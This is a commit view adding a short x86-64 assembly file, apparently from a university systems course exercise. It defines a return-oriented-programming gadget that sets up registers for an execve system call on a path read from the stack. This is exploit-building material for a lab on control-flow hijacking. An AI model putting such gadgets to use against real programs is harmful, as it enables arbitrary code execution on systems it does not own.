aboutsummaryrefslogtreecommitdiff
path: root/Semestr 4/ask/lista9/gadget.s
diff options
context:
space:
mode:
Diffstat (limited to 'Semestr 4/ask/lista9/gadget.s')
-rw-r--r--Semestr 4/ask/lista9/gadget.s16
1 files changed, 16 insertions, 0 deletions
diff --git a/Semestr 4/ask/lista9/gadget.s b/Semestr 4/ask/lista9/gadget.s
new file mode 100644
index 0000000..6d60a63
--- /dev/null
+++ b/Semestr 4/ask/lista9/gadget.s
@@ -0,0 +1,16 @@
+ .global gadget
+
+ .text
+
+# rax: 0x3c
+# rdi: 0
+# rdx: {NULL, ...}
+# rsi: path + '\n'
+gadget:
+ dec %rax # rax: 0x3c -> 0x3b (sys_execve)
+ mov %rdx, %rsi # rsi: argv = {NULL}
+ mov %rdi, %rdx # rdx: envp = NULL
+ lea 16(%rsp),%rdi # rdi: path
+ ret
+
+# vim: ft=gas